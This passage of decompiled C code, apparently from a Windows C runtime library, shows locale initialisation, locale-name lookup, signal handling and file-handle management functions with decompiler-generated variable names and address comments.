memcpy(v0, __lconv, 0x30u); v1 = malloc(4u); lc_refcount = v1; if ( !v1 ) { free(v0); return 1; } *(_DWORD *)v1 = 0; if ( !dword_146D0508 ) { __lconv_num_refcount = 0; *(_DWORD *)v0 = __lconv_c; *((_DWORD *)v0 + 1) = off_610D58; *((_DWORD *)v0 + 2) = off_610D5C; LABEL_30: if ( __lconv_intl_refcount && !*(_DWORD *)__lconv_intl_refcount && __lconv_intl_refcount != (void *)___ptlocinfo->lconv_intl_refcount ) { free(__lconv_intl_refcount); free(__lconv_intl); } __lconv_intl_refcount = lc_refcount; __lconv_intl = v0; goto LABEL_35; } v3 = malloc(4u); __lconv_num_refcount = (int)v3; if ( !v3 ) { v4 = 1; LABEL_17: free(v0); free(lc_refcount); return v4; } *(_DWORD *)v3 = 0; v5 = (unsigned __int16)word_146D053A; v6 = __getlocaleinfo(1, (unsigned __int16)word_146D053A, 0xEu, v0); v7 = __getlocaleinfo(1, v5, 0xFu, (char *)v0 + 4) | v6; if ( v7 | __getlocaleinfo(1, v5, 0x10u, (char *)v0 + 8) ) { __free_lconv_num((lconv *)v0); v4 = -1; goto LABEL_17; } v8 = *((_DWORD *)v0 + 2); while ( 1 ) { if ( !*(_BYTE *)v8 ) goto LABEL_30; v9 = *(_BYTE *)v8; if ( *(_BYTE *)v8 >= 48 ) { if ( v9 <= 57 ) break; } if ( v9 == 59 ) { v10 = v8; do { *(_BYTE *)v10 = *(_BYTE *)(v10 + 1); ++v10; } while ( *(_BYTE *)v10 ); } else { LABEL_22: ++v8; } } *(_BYTE *)v8 = v9 - 48; goto LABEL_22; } if ( __lconv_intl_refcount && !*(_DWORD *)__lconv_intl_refcount ) { if ( __lconv_intl_refcount != (void *)___ptlocinfo->lconv_intl_refcount ) { free(__lconv_intl_refcount); free(__lconv_intl); } } __lconv_num_refcount = 0; __lconv_intl_refcount = 0; v0 = &__lconv_c; __lconv_intl = 0; LABEL_35: __lconv = (char **)v0; __decimal_point = **(_BYTE **)v0; __decimal_point_length = 1; return 0; } // 610D54: using guessed type char *__lconv_c; // 610D58: using guessed type void *off_610D58; // 610D5C: using guessed type void *off_610D5C; // 610D84: using guessed type char **__lconv; // 146D0504: using guessed type int dword_146D0504; // 146D0508: using guessed type int dword_146D0508; // 146D053A: using guessed type __int16 word_146D053A; // 146D05B8: using guessed type int __lconv_num_refcount; //----- (00585800) -------------------------------------------------------- void __cdecl __free_lconv_mon(lconv *l) { char *v1; // eax@2 char *v2; // eax@5 char *v3; // eax@8 char *v4; // eax@11 char *v5; // eax@14 char *v6; // eax@17 void *v7; // esi@20 if ( l ) { v1 = l->int_curr_symbol; if ( v1 != __lconv[3] && v1 != off_610D60 ) free(l->int_curr_symbol); v2 = l->currency_symbol; if ( v2 != __lconv[4] && v2 != off_610D64 ) free(l->currency_symbol); v3 = l->mon_decimal_point; if ( v3 != __lconv[5] && v3 != off_610D68 ) free(l->mon_decimal_point); v4 = l->mon_thousands_sep; if ( v4 != __lconv[6] && v4 != off_610D6C ) free(l->mon_thousands_sep); v5 = l->mon_grouping; if ( v5 != __lconv[7] && v5 != off_610D70 ) free(l->mon_grouping); v6 = l->positive_sign; if ( v6 != __lconv[8] && v6 != off_610D74 ) free(l->positive_sign); v7 = l->negative_sign; if ( v7 != __lconv[9] ) { if ( v7 != off_610D78 ) free(v7); } } } // 610D60: using guessed type void *off_610D60; // 610D64: using guessed type void *off_610D64; // 610D68: using guessed type void *off_610D68; // 610D6C: using guessed type void *off_610D6C; // 610D70: using guessed type void *off_610D70; // 610D74: using guessed type void *off_610D74; // 610D78: using guessed type void *off_610D78; // 610D84: using guessed type char **__lconv; //----- (005858D9) -------------------------------------------------------- int __cdecl __init_monetary() { void *v0; // ebx@4 void *v1; // eax@5 void *v2; // edi@5 void *v3; // eax@9 unsigned int v4; // esi@11 int v5; // edi@11 int v6; // edi@11 int v7; // edi@11 int v8; // edi@11 int v9; // edi@11 int v10; // edi@11 int v11; // edi@11 int v12; // edi@11 int v13; // edi@11 int v14; // edi@11 int v15; // edi@11 int v16; // edi@11 int v17; // edi@11 int v18; // edi@11 int v20; // eax@14 char v21; // cl@15 int v22; // esi@22 void *lc_refcount; // [sp+Ch] [bp-4h]@5 if ( dword_146D0504 || dword_146D0508 ) { v0 = calloc(1u, 0x30u); if ( !v0 ) return 1; v1 = malloc(4u); v2 = v1; lc_refcount = v1; if ( !v1 ) { free(v0); return 1; } *(_DWORD *)v1 = 0; if ( !dword_146D0504 ) { memcpy(v0, &__lconv_c, 0x30u); __lconv_mon_refcount = 0; LABEL_26: *(_DWORD *)v0 = *__lconv; *((_DWORD *)v0 + 1) = __lconv[1]; *((_DWORD *)v0 + 2) = __lconv[2]; __lconv = (char **)v0; __lconv_intl_refcount = lc_refcount; __lconv_intl = v0; return 0; } v3 = malloc(4u); __lconv_mon_refcount = (int)v3; if ( !v3 ) { free(v0); free(v2); return 1; } *(_DWORD *)v3 = 0; v4 = (unsigned __int16)word_146D0534; v5 = __getlocaleinfo(1, (unsigned __int16)word_146D0534, 0x15u, (char *)v0 + 12); v6 = __getlocaleinfo(1, v4, 0x14u, (char *)v0 + 16) | v5; v7 = __getlocaleinfo(1, v4, 0x16u, (char *)v0 + 20) | v6; v8 = __getlocaleinfo(1, v4, 0x17u, (char *)v0 + 24) | v7; v9 = __getlocaleinfo(1, v4, 0x18u, (char *)v0 + 28) | v8; v10 = __getlocaleinfo(1, v4, 0x50u, (char *)v0 + 32) | v9; v11 = __getlocaleinfo(1, v4, 0x51u, (char *)v0 + 36) | v10; v12 = __getlocaleinfo(0, v4, 0x1Au, (char *)v0 + 40) | v11; v13 = __getlocaleinfo(0, v4, 0x19u, (char *)v0 + 41) | v12; v14 = __getlocaleinfo(0, v4, 0x54u, (char *)v0 + 42) | v13; v15 = __getlocaleinfo(0, v4, 0x55u, (char *)v0 + 43) | v14; v16 = __getlocaleinfo(0, v4, 0x56u, (char *)v0 + 44) | v15; v17 = __getlocaleinfo(0, v4, 0x57u, (char *)v0 + 45) | v16; v18 = __getlocaleinfo(0, v4, 0x52u, (char *)v0 + 46) | v17; if ( v18 | __getlocaleinfo(0, v4, 0x53u, (char *)v0 + 47) ) { __free_lconv_mon((lconv *)v0); free(v0); free(lc_refcount); return 1; } v20 = *((_DWORD *)v0 + 7); while ( 1 ) { if ( !*(_BYTE *)v20 ) goto LABEL_26; v21 = *(_BYTE *)v20; if ( *(_BYTE *)v20 >= 48 ) { if ( v21 <= 57 ) break; } if ( v21 == 59 ) { v22 = v20; do { *(_BYTE *)v22 = *(_BYTE *)(v22 + 1); ++v22; } while ( *(_BYTE *)v22 ); } else { LABEL_18: ++v20; } } *(_BYTE *)v20 = v21 - 48; goto LABEL_18; } __lconv_mon_refcount = 0; __lconv_intl_refcount = 0; __lconv = &__lconv_c; __lconv_intl = 0; return 0; } // 610D54: using guessed type char *__lconv_c; // 610D84: using guessed type char **__lconv; // 146D0504: using guessed type int dword_146D0504; // 146D0508: using guessed type int dword_146D0508; // 146D0534: using guessed type __int16 word_146D0534; // 146D05B0: using guessed type int __lconv_mon_refcount; //----- (00585B18) -------------------------------------------------------- int __cdecl TranslateName(tagLOCALETAB *lpTable, int high, const char **ppchName) { int v3; // ebx@1 int v4; // eax@1 int v5; // esi@3 tagLOCALETAB *v6; // edi@3 v3 = 0; v4 = 1; while ( v3 <= high ) { if ( !v4 ) break; v5 = (v3 + high) / 2; v6 = &lpTable[v5]; v4 = _stricmp(*ppchName, v6->szName); if ( v4 ) { if ( v4 >= 0 ) v3 = v5 + 1; else high = v5 - 1; } else { *ppchName = v6->chAbbrev; } } return v4 == 0; } //----- (00585B78) -------------------------------------------------------- unsigned int __cdecl GetLcidFromDefault() { unsigned int result; // eax@1 LOWORD(iLcidState) = iLcidState | 0x104; result = GetUserDefaultLCID(); lcidCountry = result; lcidLanguage = result; return result; } //----- (00585B92) -------------------------------------------------------- int __usercall ProcessCodePage(char *lpCodePageStr) { char *v1; // esi@1 int result; // eax@7 unsigned int v3; // [sp-Ch] [bp-1Ch]@5 char *v4; // [sp-8h] [bp-18h]@5 int v5; // [sp-4h] [bp-14h]@5 char chCodePage[8]; // [sp+4h] [bp-Ch]@5 v1 = lpCodePageStr; if ( lpCodePageStr && *lpCodePageStr && strcmp(lpCodePageStr, "ACP") ) { if ( strcmp(v1, "OCP") ) return atol(v1); v5 = 8; v4 = chCodePage; v3 = 11; } else { v5 = 8; v4 = chCodePage; v3 = 4100; } result = pfnGetLocaleInfoA(lcidCountry, v3, v4, v5); if ( !result ) return result; v1 = chCodePage; return atol(v1); } //----- (00585C08) -------------------------------------------------------- int __cdecl TestDefaultCountry(unsigned int lcid) { unsigned int v1; // eax@1 v1 = 0; while ( (_WORD)lcid != __rglangidNotDefault[v1] ) { ++v1; if ( v1 >= 10 ) return 1; } return 0; } // 5EDB9C: using guessed type __int16 __rglangidNotDefault[]; //----- (00585C26) -------------------------------------------------------- int __stdcall crtGetLocaleInfoA(unsigned int lcid, unsigned int lctype, char *lpdata, int cchdata) { int v4; // esi@1 int v5; // edi@1 int v6; // eax@2 unsigned int v7; // ecx@2 const char *v9; // eax@16 v4 = 0; v5 = 26; while ( 1 ) { v6 = (v5 + v4) / 2; v7 = __rgLocInfo[11 * (v5 + v4) / 2]; if ( lcid == v7 ) break; if ( lcid >= v7 ) v4 = v6 + 1; else v5 = v6 - 1; if ( v4 > v5 ) return GetLocaleInfoA(lcid, lctype, lpdata, cchdata); } switch ( lctype ) { case 1u: v9 = &a040a[44 * v6]; break; case 3u: v9 = (const char *)(&off_5ED590 + 11 * v6); break; case 7u: v9 = (const char *)(&off_5ED598 + 11 * v6); break; case 0xBu: v9 = (char *)&unk_5ED59C + 44 * v6; break; case 0x1001u: v9 = (&off_5ED58C)[44 * v6]; break; case 0x1002u: v9 = (&off_5ED594)[44 * v6]; break; default: if ( lctype != 4100 ) return GetLocaleInfoA(lcid, lctype, lpdata, cchdata); v9 = &a1252[44 * v6]; break; } if ( !v9 || cchdata < 1 ) return GetLocaleInfoA(lcid, lctype, lpdata, cchdata); strncpy(lpdata, v9, cchdata - 1); lpdata[cchdata - 1] = 0; return 1; } // 5ED580: using guessed type int __rgLocInfo[]; // 5ED58C: using guessed type char *off_5ED58C; // 5ED590: using guessed type int (__cdecl *off_5ED590)(int bValue); // 5ED594: using guessed type char *off_5ED594; // 5ED598: using guessed type int (__cdecl *off_5ED598)(int bValue); //----- (00585D09) -------------------------------------------------------- unsigned int __usercall LcidFromHexString(char *lpHexString) { unsigned int result; // eax@1 char v2; // cl@4 for ( result = 0; ; result = v2 + 16 * (result + 268435453) ) { v2 = *lpHexString; if ( !*lpHexString ) break; ++lpHexString; if ( v2 < 97 || v2 > 102 ) { if ( v2 >= 65 ) { if ( v2 <= 70 ) v2 -= 7; } } else { v2 -= 39; } } return result; } //----- (00585D3E) -------------------------------------------------------- int __usercall GetPrimaryLen(char *pchLanguage) { int result; // eax@1 char v2; // cl@2 for ( result = 0; ; ++result ) { v2 = *pchLanguage++; if ( v2 < 65 || v2 > 90 ) { if ( v2 < 97 || v2 > 122 ) break; } } return result; } //----- (00585D5B) -------------------------------------------------------- int __stdcall CountryEnumProc(char *lpLcidString) { unsigned int v1; // esi@1 int result; // eax@2 char rgcInfo[120]; // [sp+4h] [bp-7Ch]@1 v1 = LcidFromHexString(lpLcidString); if ( pfnGetLocaleInfoA(v1, bAbbrevCountry != 0 ? 7 : 4098, rgcInfo, 120) ) { if ( !_stricmp(pchCountry, rgcInfo) ) { if ( TestDefaultCountry(v1) ) { iLcidState |= 4u; lcidCountry = v1; lcidLanguage = v1; } } result = ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; } else { iLcidState = 0; result = 1; } return result; } //----- (00585DEF) -------------------------------------------------------- int __cdecl TestDefaultLanguage(unsigned int lcid, int bTestPrimary) { size_t v2; // esi@4 char rgcInfo[120]; // [sp+0h] [bp-7Ch]@1 return pfnGetLocaleInfoA(lcid & 0x3FF | 0x400, 1u, rgcInfo, 120) && (lcid == LcidFromHexString(rgcInfo) || !bTestPrimary || (v2 = strlen(pchLanguage), GetPrimaryLen(pchLanguage) != v2)); } //----- (00585E60) -------------------------------------------------------- int __stdcall LangCountryEnumProc(char *lpLcidString) { unsigned int v1; // esi@1 int v3; // [sp-Ch] [bp-8Ch]@23 char rgcInfo[120]; // [sp+4h] [bp-7Ch]@1 v1 = LcidFromHexString(lpLcidString); if ( !pfnGetLocaleInfoA(v1, bAbbrevCountry != 0 ? 7 : 4098, rgcInfo, 120) ) { iLcidState = 0; return 1; } if ( !_stricmp(pchCountry, rgcInfo) ) { if ( !pfnGetLocaleInfoA(v1, bAbbrevLanguage != 0 ? 3 : 4097, rgcInfo, 120) ) { LABEL_18: iLcidState = 0; return 1; } if ( !_stricmp(pchLanguage, rgcInfo) ) { LOWORD(iLcidState) = iLcidState | 0x304; lcidLanguage = v1; LABEL_15: lcidCountry = v1; goto LABEL_16; } if ( iLcidState & 2 ) goto LABEL_16; if ( !iPrimaryLen || _strnicmp(pchLanguage, rgcInfo, iPrimaryLen) ) { if ( !(iLcidState & 1) && TestDefaultCountry(v1) ) { iLcidState |= 1u; goto LABEL_15; } } else { iLcidState |= 2u; lcidCountry = v1; if ( strlen(pchLanguage) == iPrimaryLen ) lcidLanguage = v1; } } LABEL_16: if ( (iLcidState & 0x300) != 768 ) { if ( !pfnGetLocaleInfoA(v1, bAbbrevLanguage != 0 ? 3 : 4097, rgcInfo, 120) ) goto LABEL_18; if ( _stricmp(pchLanguage, rgcInfo) ) { if ( bAbbrevLanguage || !iPrimaryLen || _strnicmp(pchLanguage, rgcInfo, iPrimaryLen) ) return ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; v3 = 0; } else { BYTE1(iLcidState) |= 2u; if ( bAbbrevLanguage || !iPrimaryLen || strlen(pchLanguage) != iPrimaryLen ) goto LABEL_29; v3 = 1; } if ( TestDefaultLanguage(v1, v3) ) { LABEL_29: BYTE1(iLcidState) |= 1u; if ( !lcidLanguage ) lcidLanguage = v1; return ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; } } return ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; } //----- (0058607A) -------------------------------------------------------- int __stdcall LanguageEnumProc(char *lpLcidString) { unsigned int v1; // esi@1 int v3; // [sp-4h] [bp-84h]@5 char rgcInfo[120]; // [sp+4h] [bp-7Ch]@1 v1 = LcidFromHexString(lpLcidString); if ( !pfnGetLocaleInfoA(v1, bAbbrevLanguage != 0 ? 3 : 4097, rgcInfo, 120) ) { iLcidState = 0; return 1; } if ( _stricmp(pchLanguage, rgcInfo) ) { if ( bAbbrevLanguage || !iPrimaryLen || _strnicmp(pchLanguage, rgcInfo, iPrimaryLen) ) return ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; v3 = 0; } else { if ( bAbbrevLanguage ) { LABEL_11: iLcidState |= 4u; lcidCountry = v1; lcidLanguage = v1; return ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; } v3 = 1; } if ( TestDefaultLanguage(v1, v3) ) goto LABEL_11; return ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; } //----- (00586145) -------------------------------------------------------- BOOL __cdecl GetLcidFromCountry() { BOOL result; // eax@1 bAbbrevCountry = strlen(pchCountry) == 3; result = EnumSystemLocalesA(CountryEnumProc, 1u); if ( !(iLcidState & 4) ) iLcidState = 0; return result; } //----- (0058617C) -------------------------------------------------------- int __cdecl GetLcidFromLangCountry() { size_t v0; // eax@1 int result; // eax@4 bAbbrevLanguage = strlen(pchLanguage) == 3; v0 = strlen(pchCountry); lcidLanguage = 0; bAbbrevCountry = v0 == 3; if ( bAbbrevLanguage ) iPrimaryLen = 2; else iPrimaryLen = GetPrimaryLen(pchLanguage); EnumSystemLocalesA(LangCountryEnumProc, 1u); result = iLcidState; if ( !(BYTE1(result) & 1) || !(BYTE1(result) & 2) || !(iLcidState & 7) ) iLcidState = 0; return result; } //----- (00586202) -------------------------------------------------------- BOOL __cdecl GetLcidFromLanguage() { size_t v0; // eax@1 BOOL result; // eax@4 v0 = strlen(pchLanguage); bAbbrevLanguage = v0 == 3; if ( v0 == 3 ) iPrimaryLen = 2; else iPrimaryLen = GetPrimaryLen(pchLanguage); result = EnumSystemLocalesA(LanguageEnumProc, 1u); if ( !(iLcidState & 4) ) iLcidState = 0; return result; } //----- (00586257) -------------------------------------------------------- int __cdecl __get_qualified_locale(tagLC_STRINGS *const lpInStr, tagLC_ID *lpOutId, tagLC_STRINGS *lpOutStr) { char *v3; // eax@6 void *v4; // ecx@6 int v6; // edi@27 unsigned int v7; // ecx@30 unsigned __int16 v8; // dx@31 if ( !pfnGetLocaleInfoA ) { if ( _osplatform == 2 ) pfnGetLocaleInfoA = GetLocaleInfoA; else pfnGetLocaleInfoA = crtGetLocaleInfoA; } if ( !lpInStr ) { LABEL_24: GetLcidFromDefault(); goto LABEL_25; } v3 = lpInStr->szCountry; v4 = lpInStr; pchLanguage = (char *)lpInStr; pchCountry = lpInStr->szCountry; if ( lpInStr != (tagLC_STRINGS *const )-64 && *v3 ) { TranslateName(&__rg_country, 22, (const char **)&pchCountry); v4 = pchLanguage; v3 = pchCountry; } iLcidState = 0; if ( !v4 || !*(_BYTE *)v4 ) { if ( v3 && *v3 ) { GetLcidFromCountry(); goto LABEL_25; } goto LABEL_24; } if ( v3 && *v3 ) GetLcidFromLangCountry(); else GetLcidFromLanguage(); if ( iLcidState ) goto LABEL_27; if ( TranslateName(&__rg_language, 64, (const char **)&pchLanguage) ) { if ( pchCountry && *pchCountry ) GetLcidFromLangCountry(); else GetLcidFromLanguage(); } LABEL_25: if ( !iLcidState ) return 0; LABEL_27: v6 = ProcessCodePage(lpInStr->szCodePage); if ( !v6 || !IsValidCodePage((unsigned __int16)v6) || !IsValidLocale(lcidLanguage, 1u) ) return 0; v7 = lcidLanguage; if ( lpOutId ) { v8 = lcidCountry; lpOutId->wLanguage = lcidLanguage; lpOutId->wCountry = v8; lpOutId->wCodePage = v6; } if ( !lpOutStr ) return 1; if ( lpOutId->wLanguage == 2068 ) { strcpy(lpOutStr->szLanguage, "Norwegian-Nynorsk"); } else { if ( !pfnGetLocaleInfoA(v7, 0x1001u, lpOutStr->szLanguage, 64) ) return 0; } if ( pfnGetLocaleInfoA(lcidCountry, 0x1002u, lpOutStr->szCountry, 64) ) { _itoa(v6, lpOutStr->szCodePage, 10); return 1; } return 0; } // 146D00AC: using guessed type int _osplatform; //----- (0058640C) -------------------------------------------------------- int __cdecl _ValidateRead(const void *data, unsigned int size) { int v2; // esi@1 v2 = 1; if ( IsBadReadPtr(data, size) ) v2 = 0; return v2; } //----- (00586428) -------------------------------------------------------- int __cdecl _ValidateWrite(void *data, unsigned int size) { int v2; // esi@1 v2 = 1; if ( IsBadWritePtr(data, size) ) v2 = 0; return v2; } //----- (00586444) -------------------------------------------------------- int __cdecl _ValidateExecute(int (__stdcall *code)()) { int v1; // esi@1 v1 = 1; if ( IsBadCodePtr(code) ) v1 = 0; return v1; } //----- (0058645C) -------------------------------------------------------- _XCPT_ACTION *__usercall siglookup(int signum, _XCPT_ACTION *pxcptacttab) { _XCPT_ACTION *result; // eax@1 result = pxcptacttab; do { if ( result->SigNum == signum ) break; ++result; } while ( result < &pxcptacttab[_XcptActTabCount] ); if ( result >= &pxcptacttab[_XcptActTabCount] || result->SigNum != signum ) result = 0; return result; } //----- (0058648A) -------------------------------------------------------- int __cdecl raise(int signum) { int v1; // ecx@1 int result; // eax@8 void (__cdecl **v3)(int); // esi@9 void (__cdecl *v4)(int); // edi@9 _tiddata *v5; // ebx@12 _tiddata *ptd; // [sp+18h] [bp-24h]@0 signed int siglock; // [sp+20h] [bp-1Ch]@1 v1 = 0; siglock = 0; if ( signum == 2 ) { v3 = &ctrlc_action; v4 = ctrlc_action; } else { if ( signum == 4 || signum == 8 || signum == 11 ) { v5 = _getptd(); v3 = &siglookup(signum, (_XCPT_ACTION *)v5->_pxcptacttab)->XcptAction; v4 = *v3; v1 = 0; goto LABEL_15; } if ( signum == 15 ) { v3 = &term_action; v4 = term_action; } else { if ( signum == 21 ) { v3 = &ctrlbreak_action; v4 = ctrlbreak_action; } else { if ( signum != 22 ) return -1; v3 = &abort_action; v4 = abort_action; } } } siglock = 1; v5 = ptd; LABEL_15: if ( v4 == (void (__cdecl *)(int))1 ) return 0; if ( v4 == (void (__cdecl *)(int))v1 ) _exit(3); if ( siglock != v1 ) { _lock(v1); v1 = 0; } result = signum; if ( signum == 8 || signum == 11 || signum == 4 ) { v5->_tpxcptinfoptrs = (void *)v1; if ( signum != 8 ) goto LABEL_29; v5->_tfpecode = 140; } if ( signum == 8 ) { for ( result = _First_FPE_Indx; result < _First_FPE_Indx + _Num_FPE; ++result ) *((_DWORD *)v5->_pxcptacttab + 3 * result + 2) = v1; goto LABEL_30; } LABEL_29: *v3 = (void (__cdecl *)(int))v1; LABEL_30: if ( siglock != v1 ) _unlock(v1); return result; } //----- (00586603) -------------------------------------------------------- int __cdecl __crtMessageBoxA(const char *lpText, const char *lpCaption, unsigned int uType) { HWND__ *v3; // ebx@1 HINSTANCE__ *v4; // eax@2 HINSTANCE__ *v5; // edi@2 void *v6; // eax@8 tagUSEROBJECTFLAGS uof; // [sp+Ch] [bp-10h]@9 int nDummy; // [sp+18h] [bp-4h]@9 v3 = 0; if ( !pfnMessageBoxA ) { v4 = LoadLibraryA("user32.dll"); v5 = v4; if ( !v4 || (pfnMessageBoxA = (int (__stdcall *)(HWND__ *, const char *, const char *, unsigned int))GetProcAddress( v4, "MessageBoxA")) == 0 ) return 0; pfnGetActiveWindow = (HWND__ *(__stdcall *)())GetProcAddress(v5, "GetActiveWindow"); pfnGetLastActivePopup = (HWND__ *(__stdcall *)(HWND__ *))GetProcAddress(v5, "GetLastActivePopup"); if ( _osplatform == 2 ) { pfnGetUserObjectInformationA = (int (__stdcall *)(void *, int, void *, unsigned int, unsigned int *))GetProcAddress(v5, "GetUserObjectInformationA"); if ( pfnGetUserObjectInformationA ) pfnGetProcessWindowStation = (HWINSTA__ *(__stdcall *)())GetProcAddress(v5, "GetProcessWindowStation"); } } if ( !pfnGetProcessWindowStation || (v6 = pfnGetProcessWindowStation()) != 0 && pfnGetUserObjectInformationA(v6, 1, &uof, 0xCu, (unsigned int *)&nDummy) && uof.dwFlags & 1 ) { if ( pfnGetActiveWindow ) { v3 = pfnGetActiveWindow(); if ( v3 ) { if ( pfnGetLastActivePopup ) v3 = pfnGetLastActivePopup(v3); } } } else { if ( _winmajor < 4 ) BYTE2(uType) |= 4u; else BYTE2(uType) |= 0x20u; } return pfnMessageBoxA(v3, lpText, lpCaption, uType); } // 146D00AC: using guessed type int _osplatform; //----- (005866FC) -------------------------------------------------------- int __cdecl _isatty(int fh) { int result; // eax@2 if ( fh < _nhandle ) result = *(_BYTE *)(__pioinfo[fh >> 5] + 36 * (fh & 0x1F) + 4) & 0x40; else result = 0; return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (00586726) -------------------------------------------------------- int __cdecl __wctomb_mt(threadlocaleinfostruct *ptloci, char *s, wchar_t wchar) { char *v3; // ecx@1 int result; // eax@2 int v5; // ST14_4@6 v3 = s; if ( !s ) return 0; if ( !ptloci->lc_handle[2] ) { if ( wchar <= 0xFFu ) { *s = wchar; return 1; } goto LABEL_8; } v5 = ptloci->mb_cur_max; s = 0; result = WideCharToMultiByte(ptloci->lc_codepage, 0, &wchar, 1, v3, v5, 0, (LPBOOL)&s); if ( !result || s ) { LABEL_8: *_errno() = 42; result = -1; } return result; } //----- (00586786) -------------------------------------------------------- int __cdecl wctomb(char *s, wchar_t wchar) { threadlocaleinfostruct *v2; // eax@1 v2 = _getptd()->ptlocinfo; if ( v2 != ___ptlocinfo ) v2 = __updatetlocinfo(); return __wctomb_mt(v2, s, wchar); } //----- (005867AD) -------------------------------------------------------- int __cdecl _set_osfhnd(int fh, int value) { int v2; // esi@2 DWORD v4; // [sp-Ch] [bp-14h]@7 int v5; // [sp-8h] [bp-10h]@7 if ( fh < _nhandle ) { v2 = 36 * (fh & 0x1F); if ( *(_DWORD *)(v2 + __pioinfo[fh >> 5]) == -1 ) { if ( __app_type == 1 ) { if ( !fh ) { v5 = value; v4 = -10; goto LABEL_10; } if ( fh == 1 ) { v5 = value; v4 = -11; goto LABEL_10; } if ( fh == 2 ) { v5 = value; v4 = -12; LABEL_10: SetStdHandle(v4, (HANDLE)v5); goto LABEL_11; } } LABEL_11: *(_DWORD *)(v2 + __pioinfo[fh >> 5]) = value; return 0; } } *_errno() = 9; *__doserrno() = 0; return -1; } // 146D05C0: using guessed type int __pioinfo[]; //----- (00586829) -------------------------------------------------------- int __cdecl _free_osfhnd(int fh) { int v1; // esi@2 int v2; // eax@2 DWORD v4; // [sp-8h] [bp-10h]@8 void *v5; // [sp-4h] [bp-Ch]@8 if ( fh < _nhandle ) { v1 = 36 * (fh & 0x1F); v2 = v1 + __pioinfo[fh >> 5]; if ( *(_BYTE *)(v2 + 4) & 1 ) { if ( *(_DWORD *)v2 != -1 ) { if ( __app_type == 1 ) { if ( !fh ) { v5 = 0; v4 = -10; goto LABEL_11; } if ( fh == 1 ) { v5 = 0; v4 = -11; goto LABEL_11; } if ( fh == 2 ) { v5 = 0; v4 = -12; LABEL_11: SetStdHandle(v4, v5); goto LABEL_12; } } LABEL_12: *(_DWORD *)(v1 + __pioinfo[fh >> 5]) = -1; return 0; } } } *_errno() = 9; *__doserrno() = 0; return -1; } // 146D05C0: using guessed type int __pioinfo[]; //----- (005868A8) -------------------------------------------------------- int __cdecl _get_osfhandle(int fh) { int v1; // eax@2 int result; // eax@3 if ( fh < _nhandle && (v1 = __pioinfo[fh >> 5] + 36 * (fh & 0x1F), *(_BYTE *)(v1 + 4) & 1) ) { result = *(_DWORD *)v1; } else { *_errno() = 9; *__doserrno() = 0; result = -1; } return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (005868E9) -------------------------------------------------------- int __cdecl _lock_fhandle(int fh) { int v1; // esi@1 int result; // eax@4 CPPEH_RECORD ms_exc; // [sp+Ch] [bp-18h]@2 v1 = __pioinfo[fh >> 5] + 36 * (fh & 0x1F); if ( *(_DWORD *)(v1 + 8) ) { EnterCriticalSection((LPCRITICAL_SECTION)(__pioinfo[fh >> 5] + 36 * (fh & 0x1F) + 12)); result = 1; } else { _lock(10); ms_exc.disabled = 0; if ( !*(_DWORD *)(v1 + 8) ) { if ( !__crtInitCritSecAndSpinCount((_RTL_CRITICAL_SECTION *)(v1 + 12), 0xFA0u) ) { _local_unwind2((int)&ms_exc.prev_er, -1); return 0; } ++*(_DWORD *)(v1 + 8); } ms_exc.disabled = -1; _unlock(10); } return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (00586989) -------------------------------------------------------- void __cdecl _unlock_fhandle(int fh) { LeaveCriticalSection((LPCRITICAL_SECTION)(__pioinfo[fh >> 5] + 36 * (fh & 0x1F) + 12)); } // 146D05C0: using guessed type int __pioinfo[]; //----- (005869AB) -------------------------------------------------------- int __cdecl _alloc_osfhnd() { signed int v0; // edi@2 unsigned int v1; // esi@4 int result; // eax@11 unsigned int v3; // eax@20 int fh; // [sp+14h] [bp-1Ch]@1 CPPEH_RECORD ms_exc; // [sp+18h] [bp-18h]@2 fh = -1; if ( _mtinitlocknum(11) ) { _lock(11); v0 = 0; ms_exc.disabled = 0; while ( v0 < 64 ) { v1 = __pioinfo[v0]; if ( !v1 ) { v3 = (unsigned int)malloc(0x480u); if ( v3 ) { __pioinfo[v0] = v3; _nhandle += 32; while ( v3 < __pioinfo[v0] + 1152 ) { *(_BYTE *)(v3 + 4) = 0; *(_DWORD *)v3 = -1; *(_BYTE *)(v3 + 5) = 10; *(_DWORD *)(v3 + 8) = 0; v3 += 36; } _lock_fhandle(32 * v0); } break; } while ( v1 < __pioinfo[v0] + 1152 ) { if ( !(*(_BYTE *)(v1 + 4) & 1) ) { if ( !*(_DWORD *)(v1 + 8) ) { _lock(10); ms_exc.disabled = 1; if ( !*(_DWORD *)(v1 + 8) ) { if ( !__crtInitCritSecAndSpinCount((_RTL_CRITICAL_SECTION *)(v1 + 12), 0xFA0u) ) { _local_unwind2((int)&ms_exc.prev_er, -1); goto LABEL_11; } ++*(_DWORD *)(v1 + 8); } ms_exc.disabled = 0; _unlock(10); return result; } EnterCriticalSection((LPCRITICAL_SECTION)(v1 + 12)); if ( !(*(_BYTE *)(v1 + 4) & 1) ) { *(_DWORD *)v1 = -1; fh = 32 * v0 + (signed int)(v1 - __pioinfo[v0]) / 36; break; } LeaveCriticalSection((LPCRITICAL_SECTION)(v1 + 12)); } v1 += 36; } if ( fh != -1 ) break; ++v0; } _unlock(11); } else { LABEL_11: result = -1; } return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (00586B27) -------------------------------------------------------- int __cdecl _fcloseall() { signed int i; // edi@1 int v1; // esi@3 int v2; // eax@3 int result; // eax@10 int count; // [sp+10h] [bp-1Ch]@1 count = 0; _lock(1); for ( i = 3; i < (signed int)_nstream; ++i ) { v1 = 4 * i; v2 = *(_DWORD *)(4 * i + __piob); if ( v2 ) { if ( *(_BYTE *)(v2 + 12) & 0x83 && fclose(*(_iobuf **)(4 * i + __piob)) != -1 ) ++count; if ( i >= 20 ) { DeleteCriticalSection((LPCRITICAL_SECTION)(*(_DWORD *)(v1 + __piob) + 32)); free(*(void **)(v1 + __piob)); *(_DWORD *)(v1 + __piob) = 0; } } } _unlock(1); return result; } // 146D092C: using guessed type int __piob; //----- (00586BC2) -------------------------------------------------------- int __usercall tsopen_lk(int shflag, int *punlock_flag, int *pfh, const char *path, int oflag, int pmode) { int 